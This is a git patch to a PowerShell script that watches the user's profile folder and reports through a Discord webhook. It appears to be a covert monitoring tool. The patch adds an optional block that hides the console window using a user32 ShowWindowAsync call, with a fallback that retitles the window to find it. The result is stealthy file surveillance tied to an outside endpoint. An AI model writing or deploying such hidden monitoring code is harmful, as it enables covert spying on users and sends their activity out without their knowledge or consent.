From 79f2d05076053941eb0b2123557c8f0149b87c51 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Fri, 20 Jun 2025 20:49:19 +0000 Subject: [PATCH] Update main.ps1 --- File-Monitor-to-Discord/main.ps1 | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/File-Monitor-to-Discord/main.ps1 b/File-Monitor-to-Discord/main.ps1 index e18c24b..e8bb113 100644 --- a/File-Monitor-to-Discord/main.ps1 +++ b/File-Monitor-to-Discord/main.ps1 @@ -3,6 +3,24 @@ if ($whuri.Length -lt 120){ $whuri = ("https://discord.com/api/webhooks/" + "$dc") } +# Uncomment $hide='y' below to hide the console + +# $hide='y' +if($hide -eq 'y'){ + $w=(Get-Process -PID $pid).MainWindowHandle + $a='[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd,int nCmdShow);' + $t=Add-Type -M $a -Name Win32ShowWindowAsync -Names Win32Functions -Pass + if($w -ne [System.IntPtr]::Zero){ + $t::ShowWindowAsync($w,0) + }else{ + $Host.UI.RawUI.WindowTitle = 'xx' + $p=(Get-Process | Where-Object{$_.MainWindowTitle -eq 'xx'}) + $w=$p.MainWindowHandle + $t::ShowWindowAsync($w,0) + } +} + + $watcher = New-Object System.IO.FileSystemWatcher -Property @{ Path = $env:USERPROFILE + '\' }